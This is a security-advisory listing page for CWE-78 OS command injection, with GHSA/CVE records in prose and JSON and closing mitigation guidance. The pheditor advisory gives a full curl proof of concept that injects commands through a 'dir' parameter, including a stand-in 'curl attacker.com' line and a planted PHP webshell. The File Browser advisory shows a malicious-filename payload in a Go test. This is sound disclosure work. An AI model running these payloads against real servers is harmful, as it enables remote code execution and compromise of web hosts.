CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
8343 vulnerabilities reference this CWE, most recent first.
GHSA-JRXJ-9MHW-55WC
Vulnerability from github – Published: 2026-07-16 15:33 – Updated: 2026-07-16 15:33AVideo through 29.0 contains an OS command injection vulnerability in the ffmpeg.json.php endpoint where notifyCode and callback parameters are concatenated into a shell command without escaping. Attackers who can craft a valid encrypted payload can inject arbitrary shell metacharacters into these fields to execute OS commands as the web-server user.
{
"affected": [],
"aliases": [
"CVE-2026-63305"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-16T13:16:33Z",
"severity": "CRITICAL"
},
"details": "AVideo through 29.0 contains an OS command injection vulnerability in the ffmpeg.json.php endpoint where notifyCode and callback parameters are concatenated into a shell command without escaping. Attackers who can craft a valid encrypted payload can inject arbitrary shell metacharacters into these fields to execute OS commands as the web-server user.",
"id": "GHSA-jrxj-9mhw-55wc",
"modified": "2026-07-16T15:33:10Z",
"published": "2026-07-16T15:33:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-g9x9-q7qj-6mv5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63305"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/avideo-through-os-command-injection-via-ffmpeg-json-php"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-JV24-GR2J-QP4R
Vulnerability from github – Published: 2022-05-13 01:02 – Updated: 2022-05-13 01:02An exploitable command injection vulnerability exists in the gplotMakeOutput function of Leptonica 1.74.4. A specially crafted gplot rootname argument can cause a command injection resulting in arbitrary code execution. An attacker can provide a malicious path as input to an application that passes attacker data to this function to trigger this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2018-3836"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-04-24T19:29:00Z",
"severity": "HIGH"
},
"details": "An exploitable command injection vulnerability exists in the gplotMakeOutput function of Leptonica 1.74.4. A specially crafted gplot rootname argument can cause a command injection resulting in arbitrary code execution. An attacker can provide a malicious path as input to an application that passes attacker data to this function to trigger this vulnerability.",
"id": "GHSA-jv24-gr2j-qp4r",
"modified": "2022-05-13T01:02:08Z",
"published": "2022-05-13T01:02:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-3836"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2018/02/msg00019.html"
},
{
"type": "WEB",
"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2018-0516"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JV8V-Q52F-PXQ9
Vulnerability from github – Published: 2024-11-04 15:31 – Updated: 2024-11-04 18:31DrayTek Vigor3900 1.5.1.3 contains a command injection vulnerability. This vulnerability occurs when the action parameter in cgi-bin/mainfunction.cgi is set to `set_ap_map_config.'
{
"affected": [],
"aliases": [
"CVE-2024-45888"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-04T15:15:22Z",
"severity": "HIGH"
},
"details": "DrayTek Vigor3900 1.5.1.3 contains a command injection vulnerability. This vulnerability occurs when the `action` parameter in `cgi-bin/mainfunction.cgi` is set to `set_ap_map_config.\u0027",
"id": "GHSA-jv8v-q52f-pxq9",
"modified": "2024-11-04T18:31:21Z",
"published": "2024-11-04T15:31:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45888"
},
{
"type": "WEB",
"url": "https://github.com/N1nEmAn/wp/blob/main/test_v.zip"
},
{
"type": "WEB",
"url": "https://github.com/fu37kola/cve/blob/main/DrayTek/Vigor3900/1.5.1.3/DrayTek_Vigor_3900_1.5.1.3.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JVC5-6G7Q-C843
Vulnerability from github – Published: 2026-06-09 22:00 – Updated: 2026-06-09 22:00Summary
An OS Command Injection vulnerability in the terminal action handler allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the 'dir' POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist and achieving full Remote Code Execution with web server privileges.
Details
The terminal handler in pheditor.php accepts two POST parameters: command and dir. Shell metacharacters are validated on $command only — $dir is passed to shell_exec() without any sanitization.
Vulnerable code (pheditor.php, line 554–586):
$command = $_POST['command']; // ✓ metacharacters checked
$dir = $_POST['dir']; // ✗ NOT checked — vulnerable
if (strpos($command, '&') !== false ||
strpos($command, ';') !== false ||
strpos($command, '||') !== false) {
die(...); // only guards $command, not $dir
}
$output = shell_exec(
(empty($dir) ? null : 'cd ' . $dir . ' && ')
. $command . ' && echo \ ; pwd' // ← $dir injected here
);
An attacker sends dir=/tmp; curl attacker.com # — the semicolon in $dir is never checked, so the injected command executes freely.
Fix: replace $dir with escapeshellarg($dir) on line 586.
PoC
Requirements: valid credentials, terminal permission enabled (default)
Step 1 — Authenticate:
curl -c cookies.txt -X POST http://TARGET/pheditor.php \
-d "pheditor_password=admin" -L > /dev/null
Step 2 — Get CSRF token:
TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \
grep -o 'token = "[a-f0-9]*"' | \
grep -o '"[a-f0-9]*"' | tr -d '"')
Step 3 — Confirm curl is blocked via command field:
curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "command=curl https://ifconfig.me" \
--data-urlencode "dir=/tmp"
→ {"error":true,"message":"Command not allowed"}
Step 4 — Bypass whitelist via dir injection:
TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \
grep -o 'token = "[a-f0-9]*"' | \
grep -o '"[a-f0-9]*"' | tr -d '"')
curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "command=ls" \
--data-urlencode "dir=/tmp; curl -s https://ifconfig.me #"
→ {"error":false,"message":"OK","dir":"<PUBLIC_IP>"}
Step 5 — Full RCE via webshell:
curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "command=ls" \
--data-urlencode "dir=/var/www/html; echo '<?php system($_GET["c"]);?>' > /var/www/html/shell.php #"
curl "http://TARGET/shell.php?c=id"
→ uid=33(www-data) gid=33(www-data) groups=33(www-data)
Impact
OS Command Injection (CWE-78). Any authenticated pheditor user with terminal permission enabled (default configuration) is able to:
- Execute arbitrary OS commands as the web server user
- Bypass the TERMINAL_COMMANDS whitelist entirely
- Deploy persistent PHP webshells to the webroot
- Read, write, or delete any file accessible to the web server
- Potentially compromise other applications on the same server
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.3"
},
"package": {
"ecosystem": "Packagist",
"name": "pheditor/pheditor"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.1"
},
{
"fixed": "2.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48030"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-09T22:00:35Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\n\nAn OS Command Injection vulnerability in the terminal action handler allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the \u0027dir\u0027 POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist and achieving full Remote Code Execution with web server privileges.\n\n### Details\n\nThe terminal handler in pheditor.php accepts two POST parameters: `command` and `dir`. Shell metacharacters are validated on `$command` only \u2014 `$dir` is passed to shell_exec() without any sanitization.\n\nVulnerable code (pheditor.php, line 554\u2013586):\n\n```php\n$command = $_POST[\u0027command\u0027]; // \u2713 metacharacters checked\n$dir = $_POST[\u0027dir\u0027]; // \u2717 NOT checked \u2014 vulnerable\n\nif (strpos($command, \u0027\u0026\u0027) !== false ||\n strpos($command, \u0027;\u0027) !== false ||\n strpos($command, \u0027||\u0027) !== false) {\n die(...); // only guards $command, not $dir\n}\n\n$output = shell_exec(\n (empty($dir) ? null : \u0027cd \u0027 . $dir . \u0027 \u0026\u0026 \u0027)\n . $command . \u0027 \u0026\u0026 echo \\ ; pwd\u0027 // \u2190 $dir injected here\n);\n```\n\nAn attacker sends `dir=/tmp; curl attacker.com #` \u2014 the semicolon in $dir is never checked, so the injected command executes freely.\n\nFix: replace `$dir` with `escapeshellarg($dir)` on line 586.\n\n### PoC\n\nRequirements: valid credentials, terminal permission enabled (default)\n\nStep 1 \u2014 Authenticate:\n\n```bash\ncurl -c cookies.txt -X POST http://TARGET/pheditor.php \\\n -d \"pheditor_password=admin\" -L \u003e /dev/null\n```\n\nStep 2 \u2014 Get CSRF token:\n\n```bash\nTOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \\\n grep -o \u0027token = \"[a-f0-9]*\"\u0027 | \\\n grep -o \u0027\"[a-f0-9]*\"\u0027 | tr -d \u0027\"\u0027)\n```\n\nStep 3 \u2014 Confirm curl is blocked via command field:\n\n```bash\ncurl -s -b cookies.txt -X POST http://TARGET/pheditor.php \\\n --data-urlencode \"action=terminal\" \\\n --data-urlencode \"token=$TOKEN\" \\\n --data-urlencode \"command=curl https://ifconfig.me\" \\\n --data-urlencode \"dir=/tmp\"\n\n\n\u2192 {\"error\":true,\"message\":\"Command not allowed\"}\n```\n\nStep 4 \u2014 Bypass whitelist via dir injection:\n\n```bash\nTOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \\\n grep -o \u0027token = \"[a-f0-9]*\"\u0027 | \\\n grep -o \u0027\"[a-f0-9]*\"\u0027 | tr -d \u0027\"\u0027)\n\ncurl -s -b cookies.txt -X POST http://TARGET/pheditor.php \\\n --data-urlencode \"action=terminal\" \\\n --data-urlencode \"token=$TOKEN\" \\\n --data-urlencode \"command=ls\" \\\n --data-urlencode \"dir=/tmp; curl -s https://ifconfig.me #\"\n\n\n\u2192 {\"error\":false,\"message\":\"OK\",\"dir\":\"\u003cPUBLIC_IP\u003e\"}\n```\n\nStep 5 \u2014 Full RCE via webshell:\n\n```bash\ncurl -s -b cookies.txt -X POST http://TARGET/pheditor.php \\\n --data-urlencode \"action=terminal\" \\\n --data-urlencode \"token=$TOKEN\" \\\n --data-urlencode \"command=ls\" \\\n --data-urlencode \"dir=/var/www/html; echo \u0027\u003c?php system($_GET[\"c\"]);?\u003e\u0027 \u003e /var/www/html/shell.php #\"\n\ncurl \"http://TARGET/shell.php?c=id\"\n\n\n\u2192 uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n### Impact\n\nOS Command Injection (CWE-78). Any authenticated pheditor user with terminal permission enabled (default configuration) is able to:\n\n- Execute arbitrary OS commands as the web server user\n- Bypass the TERMINAL_COMMANDS whitelist entirely\n- Deploy persistent PHP webshells to the webroot\n- Read, write, or delete any file accessible to the web server\n- Potentially compromise other applications on the same server",
"id": "GHSA-jvc5-6g7q-c843",
"modified": "2026-06-09T22:00:35Z",
"published": "2026-06-09T22:00:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pheditor/pheditor/security/advisories/GHSA-jvc5-6g7q-c843"
},
{
"type": "WEB",
"url": "https://github.com/pheditor/pheditor/commit/62b43df7cb8956a9b0deb9bec278ca8676c890c5"
},
{
"type": "PACKAGE",
"url": "https://github.com/pheditor/pheditor"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Pheditor: OS Command Injection in terminal handler via unsanitized \u0027dir\u0027 parameter"
}
GHSA-JVHP-3QQJ-G4MF
Vulnerability from github – Published: 2026-02-02 18:31 – Updated: 2026-02-06 21:30An OS Command Injection vulnerability in TP-Link Archer BE230 v1.2(vpn modules) allows adjacent
authenticated
attacker
execute arbitrary code. Successful exploitation could allow an attacker to gain full administrative control of the device, resulting in severe compromise of configuration integrity, network security, and service availability.
This CVE covers one of multiple distinct OS command injection issues identified across separate code paths. Although similar in nature, each instance is tracked under a unique CVE ID.This issue affects Archer BE230 v1.2 < 1.2.4 Build 20251218 rel.70420.
{
"affected": [],
"aliases": [
"CVE-2026-22223"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-02T18:16:15Z",
"severity": "HIGH"
},
"details": "An OS Command Injection vulnerability in TP-Link Archer BE230 v1.2(vpn modules) allows adjacent \n\nauthenticated \n\nattacker \n\nexecute arbitrary code.\u00a0Successful exploitation could allow an attacker to gain full administrative control of the device, resulting in severe compromise of configuration integrity, network security, and service availability.\n\nThis CVE covers one of multiple distinct OS command injection issues identified across separate code paths. Although similar in nature, each instance is tracked under a unique CVE ID.This issue affects Archer BE230 v1.2 \u003c 1.2.4 Build 20251218 rel.70420.",
"id": "GHSA-jvhp-3qqj-g4mf",
"modified": "2026-02-06T21:30:47Z",
"published": "2026-02-02T18:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22223"
},
{
"type": "WEB",
"url": "https://www.tp-link.com/en/support/download/archer-be230/v1.20/#Firmware"
},
{
"type": "WEB",
"url": "https://www.tp-link.com/sg/support/download/archer-be230/v1.20/#Firmware"
},
{
"type": "WEB",
"url": "https://www.tp-link.com/us/support/download/archer-be230/v1.20/#Firmware"
},
{
"type": "WEB",
"url": "https://www.tp-link.com/us/support/faq/4935"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-JVHQ-QF3P-3JRR
Vulnerability from github – Published: 2023-10-10 18:31 – Updated: 2024-04-04 08:30An improper neutralization of special elements used in an os command ('os command injection') in FortiManager 7.4.0 and 7.2.0 through 7.2.3 may allow attacker to execute unauthorized code or commands via FortiManager cli.
{
"affected": [],
"aliases": [
"CVE-2023-41838"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-10T17:15:12Z",
"severity": "HIGH"
},
"details": "An improper neutralization of special elements used in an os command (\u0027os command injection\u0027) in FortiManager 7.4.0 and 7.2.0 through 7.2.3 may allow attacker to execute unauthorized code or commands via FortiManager cli.",
"id": "GHSA-jvhq-qf3p-3jrr",
"modified": "2024-04-04T08:30:23Z",
"published": "2023-10-10T18:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41838"
},
{
"type": "WEB",
"url": "https://fortiguard.com/psirt/FG-IR-23-169"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JVJ8-73H8-VQF9
Vulnerability from github – Published: 2025-11-18 03:31 – Updated: 2025-11-18 03:31A post-authentication command injection vulnerability in the "priv" parameter of Zyxel DX3300-T0 firmware version 5.50(ABVY.6.3)C0 and earlier could allow an authenticated attacker to execute operating system (OS) commands on an affected device.
{
"affected": [],
"aliases": [
"CVE-2025-8693"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-18T02:15:45Z",
"severity": "HIGH"
},
"details": "A post-authentication command injection vulnerability in the \"priv\" parameter of Zyxel DX3300-T0 firmware version 5.50(ABVY.6.3)C0 and earlier could allow an authenticated attacker to execute operating system (OS) commands on an affected device.",
"id": "GHSA-jvj8-73h8-vqf9",
"modified": "2025-11-18T03:31:15Z",
"published": "2025-11-18T03:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8693"
},
{
"type": "WEB",
"url": "https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-uncontrolled-resource-consumption-and-command-injection-vulnerabilities-in-certain-4g-lte-5g-nr-cpe-dsl-ethernet-cpe-fiber-onts-security-routers-and-wireless-extenders-11-18-2025"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JVPH-7CHH-MVH9
Vulnerability from github – Published: 2022-01-29 00:00 – Updated: 2022-04-20 00:01An OS command injection vulnerability exists in the device network settings functionality of reolink RLC-410W v3.0.0.136_20121102. At [1] or [2], based on DDNS type, the ddns->username variable, that has the value of the userName parameter provided through the SetDdns API, is not validated properly. This would lead to an OS command injection.
{
"affected": [],
"aliases": [
"CVE-2021-40408"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-01-28T20:15:00Z",
"severity": "CRITICAL"
},
"details": "An OS command injection vulnerability exists in the device network settings functionality of reolink RLC-410W v3.0.0.136_20121102. At [1] or [2], based on DDNS type, the ddns-\u003eusername variable, that has the value of the userName parameter provided through the SetDdns API, is not validated properly. This would lead to an OS command injection.",
"id": "GHSA-jvph-7chh-mvh9",
"modified": "2022-04-20T00:01:45Z",
"published": "2022-01-29T00:00:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-40408"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2021-1424"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JVPW-637P-H3PW
Vulnerability from github – Published: 2026-04-08 00:04 – Updated: 2026-06-09 18:39[!NOTE] This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.
For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.
Overview
The hook system in File Browser — which executes administrator-defined shell commands on file events such as upload, rename, and delete — is vulnerable to OS command injection. Variable substitution for values like $FILE and $USERNAME is performed via os.Expand without sanitization. An attacker with file write permission can craft a malicious filename containing shell metacharacters, causing the server to execute arbitrary OS commands when the hook fires. This results in Remote Code Execution (RCE).
Affected Location
- File:
runner/runner.go - Function:
Runner.exec
Technical Details
Runner.exec expands template variables inside hook command strings using os.Expand:
// runner/runner.go
envMapping := func(key string) string {
switch key {
case "FILE":
return path // attacker-controlled filename
case "USERNAME":
return username // attacker-controlled username
// ...
}
}
for i, arg := range command {
if i == 0 { continue }
command[i] = os.Expand(arg, envMapping) // expands $FILE, $USERNAME, etc.
}
The expanded value is then passed as a shell argument string. os.Expand performs plain string substitution with no escaping. If an admin has configured a hook such as:
sh -c "echo created $FILE"
...and an attacker creates a file named ; id #, the variable expansion produces:
sh -c "echo created /path/to/; id #"
The ; terminates the echo command and the shell executes id with server privileges. The # character comments out the remainder, preventing syntax errors.
This pattern is exploitable across all hook events: before_upload, after_upload, before_rename, after_rename, before_delete, after_delete, etc.
Attack Scenario / Reproduction Steps
- Admin configures an
after_uploadhook:sh -c "echo created $FILE". - The attacker (authenticated user with upload permission) uploads a file named
; id #. - The upload succeeds and the hook fires automatically.
- The server executes:
sh sh -c "echo created /uploads/; id #" - The
idcommand runs, confirming RCE.
Impact
Any authenticated user with file create, upload, or rename permissions can achieve arbitrary RCE on the server when shell-based hooks are configured. The attacker does not need to know the exact hook command — any hook that embeds $FILE in a shell string is exploitable by crafting the filename accordingly.
Proof of Concept
package runner
import (
"os"
"testing"
"github.com/filebrowser/filebrowser/v2/settings"
)
func TestPoC_FileHookInjection(t *testing.T) {
// Simulate an admin-configured shell-based hook
r := &Runner{
Enabled: true,
Settings: &settings.Settings{
Shell: []string{"sh", "-c"},
Commands: map[string][]string{
"after_upload": {"echo Uploaded $FILE"},
},
},
}
// Malicious filename crafted by the attacker
maliciousFilename := "/tmp/safe; id #"
// Simulate the exec logic in runner/runner.go
raw := r.Commands["after_upload"][0]
command, _, _ := ParseCommand(r.Settings, raw)
envMapping := func(key string) string {
if key == "FILE" {
return maliciousFilename
}
return os.Getenv(key)
}
for i, arg := range command {
if i == 0 {
continue
}
// os.Expand substitutes $FILE with the attacker-controlled filename —
// no escaping is applied, so shell metacharacters pass through unchanged.
command[i] = os.Expand(arg, envMapping)
}
// The resulting command argument is the injected shell script:
// sh -c "echo Uploaded /tmp/safe; id #"
expectedArg := "echo Uploaded /tmp/safe; id #"
if command[2] != expectedArg {
t.Errorf("Expected command argument %q, got %q", expectedArg, command[2])
}
t.Logf("Confirmed: filename injection succeeded. Shell will execute: %v", command)
}
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/filebrowser/filebrowser/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.33.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35585"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T00:04:27Z",
"nvd_published_at": "2026-04-07T17:16:33Z",
"severity": "HIGH"
},
"details": "\u003e [!NOTE]\n\u003e **This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations**. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We\u0027re publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.\n\u003e\n\u003e For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.\n\n## Overview\n\nThe hook system in File Browser \u2014 which executes administrator-defined shell commands on file events such as upload, rename, and delete \u2014 is vulnerable to OS command injection. Variable substitution for values like `$FILE` and `$USERNAME` is performed via `os.Expand` without sanitization. An attacker with file write permission can craft a malicious filename containing shell metacharacters, causing the server to execute arbitrary OS commands when the hook fires. This results in **Remote Code Execution (RCE)**.\n\n## Affected Location\n\n- **File:** `runner/runner.go`\n- **Function:** `Runner.exec`\n\n## Technical Details\n\n`Runner.exec` expands template variables inside hook command strings using `os.Expand`:\n\n```go\n// runner/runner.go\nenvMapping := func(key string) string {\n switch key {\n case \"FILE\":\n return path // attacker-controlled filename\n case \"USERNAME\":\n return username // attacker-controlled username\n // ...\n }\n}\n\nfor i, arg := range command {\n if i == 0 { continue }\n command[i] = os.Expand(arg, envMapping) // expands $FILE, $USERNAME, etc.\n}\n```\n\nThe expanded value is then passed as a shell argument string. `os.Expand` performs plain string substitution with no escaping. If an admin has configured a hook such as:\n\n```\nsh -c \"echo created $FILE\"\n```\n\n...and an attacker creates a file named `; id #`, the variable expansion produces:\n\n```\nsh -c \"echo created /path/to/; id #\"\n```\n\nThe `;` terminates the `echo` command and the shell executes `id` with server privileges. The `#` character comments out the remainder, preventing syntax errors.\n\nThis pattern is exploitable across all hook events: `before_upload`, `after_upload`, `before_rename`, `after_rename`, `before_delete`, `after_delete`, etc.\n\n## Attack Scenario / Reproduction Steps\n\n1. Admin configures an `after_upload` hook: `sh -c \"echo created $FILE\"`.\n2. The attacker (authenticated user with upload permission) uploads a file named `; id #`.\n3. The upload succeeds and the hook fires automatically.\n4. The server executes:\n ```sh\n sh -c \"echo created /uploads/; id #\"\n ```\n5. The `id` command runs, confirming RCE.\n\n## Impact\n\nAny authenticated user with file create, upload, or rename permissions can achieve arbitrary RCE on the server when shell-based hooks are configured. The attacker does not need to know the exact hook command \u2014 any hook that embeds `$FILE` in a shell string is exploitable by crafting the filename accordingly.\n\n## Proof of Concept\n\n```go\npackage runner\n\nimport (\n \"os\"\n \"testing\"\n\n \"github.com/filebrowser/filebrowser/v2/settings\"\n)\n\nfunc TestPoC_FileHookInjection(t *testing.T) {\n // Simulate an admin-configured shell-based hook\n r := \u0026Runner{\n Enabled: true,\n Settings: \u0026settings.Settings{\n Shell: []string{\"sh\", \"-c\"},\n Commands: map[string][]string{\n \"after_upload\": {\"echo Uploaded $FILE\"},\n },\n },\n }\n\n // Malicious filename crafted by the attacker\n maliciousFilename := \"/tmp/safe; id #\"\n\n // Simulate the exec logic in runner/runner.go\n raw := r.Commands[\"after_upload\"][0]\n command, _, _ := ParseCommand(r.Settings, raw)\n\n envMapping := func(key string) string {\n if key == \"FILE\" {\n return maliciousFilename\n }\n return os.Getenv(key)\n }\n\n for i, arg := range command {\n if i == 0 {\n continue\n }\n // os.Expand substitutes $FILE with the attacker-controlled filename \u2014\n // no escaping is applied, so shell metacharacters pass through unchanged.\n command[i] = os.Expand(arg, envMapping)\n }\n\n // The resulting command argument is the injected shell script:\n // sh -c \"echo Uploaded /tmp/safe; id #\"\n expectedArg := \"echo Uploaded /tmp/safe; id #\"\n if command[2] != expectedArg {\n t.Errorf(\"Expected command argument %q, got %q\", expectedArg, command[2])\n }\n\n t.Logf(\"Confirmed: filename injection succeeded. Shell will execute: %v\", command)\n}\n```",
"id": "GHSA-jvpw-637p-h3pw",
"modified": "2026-06-09T18:39:58Z",
"published": "2026-04-08T00:04:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-jvpw-637p-h3pw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35585"
},
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/issues/5199"
},
{
"type": "PACKAGE",
"url": "https://github.com/filebrowser/filebrowser"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "File Browser has a Command Injection via Hook Runner"
}
GHSA-JVV6-JF53-H7V7
Vulnerability from github – Published: 2023-04-14 15:30 – Updated: 2024-04-04 03:28WFS-SR03 v1.0.3 was discovered to contain a command injection vulnerability via the sys_smb_pwdmod function.
{
"affected": [],
"aliases": [
"CVE-2023-29804"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-14T14:15:00Z",
"severity": "HIGH"
},
"details": "WFS-SR03 v1.0.3 was discovered to contain a command injection vulnerability via the sys_smb_pwdmod function.",
"id": "GHSA-jvv6-jf53-h7v7",
"modified": "2024-04-04T03:28:13Z",
"published": "2023-04-14T15:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29804"
},
{
"type": "WEB",
"url": "https://sore-pail-31b.notion.site/command-injection-WFS-SR03-7cddf0ac85e54f8ba81d9b26b00ca5cd"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
